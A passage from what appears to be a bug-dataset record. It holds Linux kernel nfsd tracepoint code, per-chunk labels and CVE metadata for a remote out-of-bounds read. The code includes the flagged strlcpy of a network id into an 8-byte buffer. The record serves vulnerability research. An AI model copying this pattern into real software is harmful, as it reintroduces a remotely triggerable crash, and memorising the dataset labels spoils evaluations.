si_generation)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t),\n\tTP_printk(\"client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->cl_boot,\n\t\t__entry->cl_id,\n\t\t__entry->si_id,\n\t\t__entry->si_generation)\n)", "#define DEFINE_STATEID_EVENT(name) \\\nDEFINE_EVENT(nfsd_stateid_class, nfsd_##name, \\\n\tTP_PROTO(stateid_t *stp), \\\n\tTP_ARGS(stp))", "DEFINE_STATEID_EVENT(layoutstate_alloc);\nDEFINE_STATEID_EVENT(layoutstate_unhash);\nDEFINE_STATEID_EVENT(layoutstate_free);\nDEFINE_STATEID_EVENT(layout_get_lookup_fail);\nDEFINE_STATEID_EVENT(layout_commit_lookup_fail);\nDEFINE_STATEID_EVENT(layout_return_lookup_fail);\nDEFINE_STATEID_EVENT(layout_recall);\nDEFINE_STATEID_EVENT(layout_recall_done);\nDEFINE_STATEID_EVENT(layout_recall_fail);\nDEFINE_STATEID_EVENT(layout_recall_release);", "DEFINE_STATEID_EVENT(open);\nDEFINE_STATEID_EVENT(deleg_read);\nDEFINE_STATEID_EVENT(deleg_recall);", "DECLARE_EVENT_CLASS(nfsd_stateseqid_class,\n\tTP_PROTO(u32 seqid, const stateid_t *stp),\n\tTP_ARGS(seqid, stp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, seqid)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t),\n\tTP_fast_assign(\n\t\t__entry->seqid = seqid;\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t),\n\tTP_printk(\"seqid=%u client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->seqid, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation)\n)", "#define DEFINE_STATESEQID_EVENT(name) \\\nDEFINE_EVENT(nfsd_stateseqid_class, nfsd_##name, \\\n\tTP_PROTO(u32 seqid, const stateid_t *stp), \\\n\tTP_ARGS(seqid, stp))", "DEFINE_STATESEQID_EVENT(preprocess);\nDEFINE_STATESEQID_EVENT(open_confirm);", "DECLARE_EVENT_CLASS(nfsd_clientid_class,\n\tTP_PROTO(const clientid_t *clid),\n\tTP_ARGS(clid),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clid->cl_boot;\n\t\t__entry->cl_id = clid->cl_id;\n\t),\n\tTP_printk(\"client %08x:%08x\", __entry->cl_boot, __entry->cl_id)\n)", "#define DEFINE_CLIENTID_EVENT(name) \\\nDEFINE_EVENT(nfsd_clientid_class, nfsd_clid_##name, \\\n\tTP_PROTO(const clientid_t *clid), \\\n\tTP_ARGS(clid))", "DEFINE_CLIENTID_EVENT(expire_unconf);\nDEFINE_CLIENTID_EVENT(reclaim_complete);\nDEFINE_CLIENTID_EVENT(confirmed);\nDEFINE_CLIENTID_EVENT(destroyed);\nDEFINE_CLIENTID_EVENT(admin_expired);\nDEFINE_CLIENTID_EVENT(replaced);\nDEFINE_CLIENTID_EVENT(purged);\nDEFINE_CLIENTID_EVENT(renew);\nDEFINE_CLIENTID_EVENT(stale);", "DECLARE_EVENT_CLASS(nfsd_net_class,\n\tTP_PROTO(const struct nfsd_net *nn),\n\tTP_ARGS(nn),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t),\n\tTP_printk(\"boot_time=%16llx\", __entry->boot_time)\n)", "#define DEFINE_NET_EVENT(name) \\\nDEFINE_EVENT(nfsd_net_class, nfsd_##name, \\\n\tTP_PROTO(const struct nfsd_net *nn), \\\n\tTP_ARGS(nn))", "DEFINE_NET_EVENT(grace_start);\nDEFINE_NET_EVENT(grace_complete);", "TRACE_EVENT(nfsd_clid_cred_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct svc_rqst *rqstp\n\t),\n\tTP_ARGS(clp, rqstp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(unsigned long, cl_flavor)\n\t\t__field(unsigned long, new_flavor)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->cl_flavor = clp->cl_cred.cr_flavor;\n\t\t__entry->new_flavor = rqstp->rq_cred.cr_flavor;\n\t\tmemcpy(__entry->addr, &rqstp->rq_xprt->xpt_remote,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"client %08x:%08x flavor=%s, conflict=%s from addr=%pISpc\",\n\t\t__entry->cl_boot, __entry->cl_id,\n\t\tshow_nfsd_authflavor(__entry->cl_flavor),\n\t\tshow_nfsd_authflavor(__entry->new_flavor), __entry->addr\n\t)\n)", "TRACE_EVENT(nfsd_clid_verf_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct svc_rqst *rqstp,\n\t\tconst nfs4_verifier *verf\n\t),\n\tTP_ARGS(clp, rqstp, verf),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, cl_verifier, NFS4_VERIFIER_SIZE)\n\t\t__array(unsigned char, new_verifier, NFS4_VERIFIER_SIZE)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->cl_verifier, (void *)&clp->cl_verifier,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__entry->new_verifier, (void *)verf,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__entry->addr, &rqstp->rq_xprt->xpt_remote,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"client %08x:%08x verf=0x%s, updated=0x%s from addr=%pISpc\",\n\t\t__entry->cl_boot, __entry->cl_id,\n\t\t__print_hex_str(__entry->cl_verifier, NFS4_VERIFIER_SIZE),\n\t\t__print_hex_str(__entry->new_verifier, NFS4_VERIFIER_SIZE),\n\t\t__entry->addr\n\t)\n);", "DECLARE_EVENT_CLASS(nfsd_clid_class,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t\t__field(unsigned long, flavor)\n\t\t__array(unsigned char, verifier, NFS4_VERIFIER_SIZE)\n\t\t__dynamic_array(char, name, clp->cl_name.len + 1)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t\t__entry->flavor = clp->cl_cred.cr_flavor;\n\t\tmemcpy(__entry->verifier, (void *)&clp->cl_verifier,\n\t\t NFS4_VERIFIER_SIZE);\n\t\tmemcpy(__get_str(name), clp->cl_name.data, clp->cl_name.len);\n\t\t__get_str(name)[clp->cl_name.len] = '\\0';\n\t),\n\tTP_printk(\"addr=%pISpc name='%s' verifier=0x%s flavor=%s client=%08x:%08x\",\n\t\t__entry->addr, __get_str(name),\n\t\t__print_hex_str(__entry->verifier, NFS4_VERIFIER_SIZE),\n\t\tshow_nfsd_authflavor(__entry->flavor),\n\t\t__entry->cl_boot, __entry->cl_id)\n);", "#define DEFINE_CLID_EVENT(name) \\\nDEFINE_EVENT(nfsd_clid_class, nfsd_clid_##name, \\\n\tTP_PROTO(const struct nfs4_client *clp), \\\n\tTP_ARGS(clp))", "DEFINE_CLID_EVENT(fresh);\nDEFINE_CLID_EVENT(confirmed_r);", "/*\n * from fs/nfsd/filecache.h\n */\nTRACE_DEFINE_ENUM(NFSD_FILE_HASHED);\nTRACE_DEFINE_ENUM(NFSD_FILE_PENDING);\nTRACE_DEFINE_ENUM(NFSD_FILE_BREAK_READ);\nTRACE_DEFINE_ENUM(NFSD_FILE_BREAK_WRITE);\nTRACE_DEFINE_ENUM(NFSD_FILE_REFERENCED);", "#define show_nf_flags(val)\t\t\t\t\t\t\\\n\t__print_flags(val, \"|\",\t\t\t\t\t\t\\\n\t\t{ 1 << NFSD_FILE_HASHED,\t\"HASHED\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_PENDING,\t\"PENDING\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_BREAK_READ,\t\"BREAK_READ\" },\t\t\\\n\t\t{ 1 << NFSD_FILE_BREAK_WRITE,\t\"BREAK_WRITE\" },\t\\\n\t\t{ 1 << NFSD_FILE_REFERENCED,\t\"REFERENCED\"})", "DECLARE_EVENT_CLASS(nfsd_file_class,\n\tTP_PROTO(struct nfsd_file *nf),\n\tTP_ARGS(nf),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned int, nf_hashval)\n\t\t__field(void *, nf_inode)\n\t\t__field(int, nf_ref)\n\t\t__field(unsigned long, nf_flags)\n\t\t__field(unsigned char, nf_may)\n\t\t__field(struct file *, nf_file)\n\t),\n\tTP_fast_assign(\n\t\t__entry->nf_hashval = nf->nf_hashval;\n\t\t__entry->nf_inode = nf->nf_inode;\n\t\t__entry->nf_ref = refcount_read(&nf->nf_ref);\n\t\t__entry->nf_flags = nf->nf_flags;\n\t\t__entry->nf_may = nf->nf_may;\n\t\t__entry->nf_file = nf->nf_file;\n\t),\n\tTP_printk(\"hash=0x%x inode=%p ref=%d flags=%s may=%s file=%p\",\n\t\t__entry->nf_hashval,\n\t\t__entry->nf_inode,\n\t\t__entry->nf_ref,\n\t\tshow_nf_flags(__entry->nf_flags),\n\t\tshow_nfsd_may_flags(__entry->nf_may),\n\t\t__entry->nf_file)\n)", "#define DEFINE_NFSD_FILE_EVENT(name) \\\nDEFINE_EVENT(nfsd_file_class, name, \\\n\tTP_PROTO(struct nfsd_file *nf), \\\n\tTP_ARGS(nf))", "DEFINE_NFSD_FILE_EVENT(nfsd_file_alloc);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_put_final);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_unhash);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_put);\nDEFINE_NFSD_FILE_EVENT(nfsd_file_unhash_and_release_locked);", "TRACE_EVENT(nfsd_file_acquire,\n\tTP_PROTO(struct svc_rqst *rqstp, unsigned int hash,\n\t\t struct inode *inode, unsigned int may_flags,\n\t\t struct nfsd_file *nf, __be32 status),", "\tTP_ARGS(rqstp, hash, inode, may_flags, nf, status),", "\tTP_STRUCT__entry(\n\t\t__field(u32, xid)\n\t\t__field(unsigned int, hash)\n\t\t__field(void *, inode)\n\t\t__field(unsigned long, may_flags)\n\t\t__field(int, nf_ref)\n\t\t__field(unsigned long, nf_flags)\n\t\t__field(unsigned long, nf_may)\n\t\t__field(struct file *, nf_file)\n\t\t__field(u32, status)\n\t),", "\tTP_fast_assign(\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t\t__entry->hash = hash;\n\t\t__entry->inode = inode;\n\t\t__entry->may_flags = may_flags;\n\t\t__entry->nf_ref = nf ? refcount_read(&nf->nf_ref) : 0;\n\t\t__entry->nf_flags = nf ? nf->nf_flags : 0;\n\t\t__entry->nf_may = nf ? nf->nf_may : 0;\n\t\t__entry->nf_file = nf ? nf->nf_file : NULL;\n\t\t__entry->status = be32_to_cpu(status);\n\t),", "\tTP_printk(\"xid=0x%x hash=0x%x inode=%p may_flags=%s ref=%d nf_flags=%s nf_may=%s nf_file=%p status=%u\",\n\t\t\t__entry->xid, __entry->hash, __entry->inode,\n\t\t\tshow_nfsd_may_flags(__entry->may_flags),\n\t\t\t__entry->nf_ref, show_nf_flags(__entry->nf_flags),\n\t\t\tshow_nfsd_may_flags(__entry->nf_may),\n\t\t\t__entry->nf_file, __entry->status)\n);", "DECLARE_EVENT_CLASS(nfsd_file_search_class,\n\tTP_PROTO(struct inode *inode, unsigned int hash, int found),\n\tTP_ARGS(inode, hash, found),\n\tTP_STRUCT__entry(\n\t\t__field(struct inode *, inode)\n\t\t__field(unsigned int, hash)\n\t\t__field(int, found)\n\t),\n\tTP_fast_assign(\n\t\t__entry->inode = inode;\n\t\t__entry->hash = hash;\n\t\t__entry->found = found;\n\t),\n\tTP_printk(\"hash=0x%x inode=%p found=%d\", __entry->hash,\n\t\t\t__entry->inode, __entry->found)\n);", "#define DEFINE_NFSD_FILE_SEARCH_EVENT(name)\t\t\t\t\\\nDEFINE_EVENT(nfsd_file_search_class, name,\t\t\t\t\\\n\tTP_PROTO(struct inode *inode, unsigned int hash, int found),\t\\\n\tTP_ARGS(inode, hash, found))", "DEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_close_inode_sync);\nDEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_close_inode);\nDEFINE_NFSD_FILE_SEARCH_EVENT(nfsd_file_is_cached);", "TRACE_EVENT(nfsd_file_fsnotify_handle_event,\n\tTP_PROTO(struct inode *inode, u32 mask),\n\tTP_ARGS(inode, mask),\n\tTP_STRUCT__entry(\n\t\t__field(struct inode *, inode)\n\t\t__field(unsigned int, nlink)\n\t\t__field(umode_t, mode)\n\t\t__field(u32, mask)\n\t),\n\tTP_fast_assign(\n\t\t__entry->inode = inode;\n\t\t__entry->nlink = inode->i_nlink;\n\t\t__entry->mode = inode->i_mode;\n\t\t__entry->mask = mask;\n\t),\n\tTP_printk(\"inode=%p nlink=%u mode=0%ho mask=0x%x\", __entry->inode,\n\t\t\t__entry->nlink, __entry->mode, __entry->mask)\n);", "#include \"cache.h\"", "TRACE_DEFINE_ENUM(RC_DROPIT);\nTRACE_DEFINE_ENUM(RC_REPLY);\nTRACE_DEFINE_ENUM(RC_DOIT);", "#define show_drc_retval(x)\t\t\t\t\t\t\\\n\t__print_symbolic(x,\t\t\t\t\t\t\\\n\t\t{ RC_DROPIT, \"DROPIT\" },\t\t\t\t\\\n\t\t{ RC_REPLY, \"REPLY\" },\t\t\t\t\t\\\n\t\t{ RC_DOIT, \"DOIT\" })", "TRACE_EVENT(nfsd_drc_found,\n\tTP_PROTO(\n\t\tconst struct nfsd_net *nn,\n\t\tconst struct svc_rqst *rqstp,\n\t\tint result\n\t),\n\tTP_ARGS(nn, rqstp, result),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t\t__field(unsigned long, result)\n\t\t__field(u32, xid)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t\t__entry->result = result;\n\t\t__entry->xid = be32_to_cpu(rqstp->rq_xid);\n\t),\n\tTP_printk(\"boot_time=%16llx xid=0x%08x result=%s\",\n\t\t__entry->boot_time, __entry->xid,\n\t\tshow_drc_retval(__entry->result))", ");", "TRACE_EVENT(nfsd_drc_mismatch,\n\tTP_PROTO(\n\t\tconst struct nfsd_net *nn,\n\t\tconst struct svc_cacherep *key,\n\t\tconst struct svc_cacherep *rp\n\t),\n\tTP_ARGS(nn, key, rp),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long long, boot_time)\n\t\t__field(u32, xid)\n\t\t__field(u32, cached)\n\t\t__field(u32, ingress)\n\t),\n\tTP_fast_assign(\n\t\t__entry->boot_time = nn->boot_time;\n\t\t__entry->xid = be32_to_cpu(key->c_key.k_xid);\n\t\t__entry->cached = (__force u32)key->c_key.k_csum;\n\t\t__entry->ingress = (__force u32)rp->c_key.k_csum;\n\t),\n\tTP_printk(\"boot_time=%16llx xid=0x%08x cached-csum=0x%08x ingress-csum=0x%08x\",\n\t\t__entry->boot_time, __entry->xid, __entry->cached,\n\t\t__entry->ingress)\n);", "TRACE_EVENT(nfsd_cb_args,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst struct nfs4_cb_conn *conn\n\t),\n\tTP_ARGS(clp, conn),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, prog)\n\t\t__field(u32, ident)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->prog = conn->cb_prog;\n\t\t__entry->ident = conn->cb_ident;\n\t\tmemcpy(__entry->addr, &conn->cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x prog=%u ident=%u\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->prog, __entry->ident)\n);", "TRACE_EVENT(nfsd_cb_nodelegs,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t),\n\tTP_printk(\"client %08x:%08x\", __entry->cl_boot, __entry->cl_id)\n)", "#define show_cb_state(val)\t\t\t\t\t\t\\\n\t__print_symbolic(val,\t\t\t\t\t\t\\\n\t\t{ NFSD4_CB_UP,\t\t\"UP\" },\t\t\t\t\\\n\t\t{ NFSD4_CB_UNKNOWN,\t\"UNKNOWN\" },\t\t\t\\\n\t\t{ NFSD4_CB_DOWN,\t\"DOWN\" },\t\t\t\\\n\t\t{ NFSD4_CB_FAULT,\t\"FAULT\"})", "DECLARE_EVENT_CLASS(nfsd_cb_class,\n\tTP_PROTO(const struct nfs4_client *clp),\n\tTP_ARGS(clp),\n\tTP_STRUCT__entry(\n\t\t__field(unsigned long, state)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->state = clp->cl_cb_state;\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x state=%s\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\tshow_cb_state(__entry->state))\n);", "#define DEFINE_NFSD_CB_EVENT(name)\t\t\t\\\nDEFINE_EVENT(nfsd_cb_class, nfsd_cb_##name,\t\t\\\n\tTP_PROTO(const struct nfs4_client *clp),\t\\\n\tTP_ARGS(clp))", "DEFINE_NFSD_CB_EVENT(state);\nDEFINE_NFSD_CB_EVENT(probe);\nDEFINE_NFSD_CB_EVENT(lost);\nDEFINE_NFSD_CB_EVENT(shutdown);", "TRACE_DEFINE_ENUM(RPC_AUTH_NULL);\nTRACE_DEFINE_ENUM(RPC_AUTH_UNIX);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5I);\nTRACE_DEFINE_ENUM(RPC_AUTH_GSS_KRB5P);", "#define show_nfsd_authflavor(val)\t\t\t\t\t\\\n\t__print_symbolic(val,\t\t\t\t\t\t\\\n\t\t{ RPC_AUTH_NULL,\t\t\"none\" },\t\t\\\n\t\t{ RPC_AUTH_UNIX,\t\t\"sys\" },\t\t\\\n\t\t{ RPC_AUTH_GSS,\t\t\t\"gss\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5,\t\t\"krb5\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5I,\t\t\"krb5i\" },\t\t\\\n\t\t{ RPC_AUTH_GSS_KRB5P,\t\t\"krb5p\" })", "TRACE_EVENT(nfsd_cb_setup,\n\tTP_PROTO(const struct nfs4_client *clp,\n\t\t const char *netid,\n\t\t rpc_authflavor_t authflavor\n\t),\n\tTP_ARGS(clp, netid, authflavor),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(unsigned long, authflavor)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t\t__array(unsigned char, netid, 8)\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tstrlcpy(__entry->netid, netid, sizeof(__entry->netid));\n\t\t__entry->authflavor = authflavor;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x proto=%s flavor=%s\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->netid, show_nfsd_authflavor(__entry->authflavor))\n);", "TRACE_EVENT(nfsd_cb_setup_err,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tlong error\n\t),\n\tTP_ARGS(clp, error),\n\tTP_STRUCT__entry(\n\t\t__field(long, error)\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->error = error;\n\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x error=%ld\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id, __entry->error)\n);", "TRACE_EVENT(nfsd_cb_recall,\n\tTP_PROTO(\n\t\tconst struct nfs4_stid *stid\n\t),\n\tTP_ARGS(stid),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\tconst stateid_t *stp = &stid->sc_stateid;\n\t\tconst struct nfs4_client *clp = stid->sc_client;", "\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t\tif (clp)\n\t\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\t\tsizeof(struct sockaddr_in6));\n\t\telse\n\t\t\tmemset(__entry->addr, 0, sizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x stateid %08x:%08x\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation)\n);", "TRACE_EVENT(nfsd_cb_notify_lock,\n\tTP_PROTO(\n\t\tconst struct nfs4_lockowner *lo,\n\t\tconst struct nfsd4_blocked_lock *nbl\n\t),\n\tTP_ARGS(lo, nbl),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, fh_hash)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\tconst struct nfs4_client *clp = lo->lo_owner.so_client;", "\t\t__entry->cl_boot = clp->cl_clientid.cl_boot;\n\t\t__entry->cl_id = clp->cl_clientid.cl_id;\n\t\t__entry->fh_hash = knfsd_fh_hash(&nbl->nbl_fh);\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x fh_hash=0x%08x\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->fh_hash)\n);", "TRACE_EVENT(nfsd_cb_offload,\n\tTP_PROTO(\n\t\tconst struct nfs4_client *clp,\n\t\tconst stateid_t *stp,\n\t\tconst struct knfsd_fh *fh,\n\t\tu64 count,\n\t\t__be32 status\n\t),\n\tTP_ARGS(clp, stp, fh, count, status),\n\tTP_STRUCT__entry(\n\t\t__field(u32, cl_boot)\n\t\t__field(u32, cl_id)\n\t\t__field(u32, si_id)\n\t\t__field(u32, si_generation)\n\t\t__field(u32, fh_hash)\n\t\t__field(int, status)\n\t\t__field(u64, count)\n\t\t__array(unsigned char, addr, sizeof(struct sockaddr_in6))\n\t),\n\tTP_fast_assign(\n\t\t__entry->cl_boot = stp->si_opaque.so_clid.cl_boot;\n\t\t__entry->cl_id = stp->si_opaque.so_clid.cl_id;\n\t\t__entry->si_id = stp->si_opaque.so_id;\n\t\t__entry->si_generation = stp->si_generation;\n\t\t__entry->fh_hash = knfsd_fh_hash(fh);\n\t\t__entry->status = be32_to_cpu(status);\n\t\t__entry->count = count;\n\t\tmemcpy(__entry->addr, &clp->cl_cb_conn.cb_addr,\n\t\t\tsizeof(struct sockaddr_in6));\n\t),\n\tTP_printk(\"addr=%pISpc client %08x:%08x stateid %08x:%08x fh_hash=0x%08x count=%llu status=%d\",\n\t\t__entry->addr, __entry->cl_boot, __entry->cl_id,\n\t\t__entry->si_id, __entry->si_generation,\n\t\t__entry->fh_hash, __entry->count, __entry->status)\n);", "#endif /* _NFSD_TRACE_H */", "#undef TRACE_INCLUDE_PATH\n#define TRACE_INCLUDE_PATH .\n#define TRACE_INCLUDE_FILE trace\n#include <trace/define_trace.h>" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [412], "buggy_code_start_loc": [411], "filenames": ["fs/nfsd/trace.h"], "fixing_code_end_loc": [410], "fixing_code_start_loc": [410], "message": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "4C85356F-2C6C-4FB9-B0CA-949711182223", "versionEndExcluding": "5.13.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:netapp:hci_bootstrap_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "1C767AA1-88B7-48F0-9F31-A89D16DCD52C", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:hci_compute_node:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7447BC-F315-4298-A822-549942FC118B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": false}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:hci_management_node:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3C19813-E823-456A-B1CE-EC0684CE1953", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:netapp:solidfire:-:*:*:*:*:*:*:*", "matchCriteriaId": "A6E9EF0C-AFA8-4F7B-9FDC-1E0F7C26E737", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": "AND"}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:element_software:-:*:*:*:*:*:*:*", "matchCriteriaId": "85DF4B3F-4BBC-42B7-B729-096934523D63", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}, {"cpeMatch": [{"criteria": "cpe:2.3:h:netapp:hci_storage_node:-:*:*:*:*:*:*:*", "matchCriteriaId": 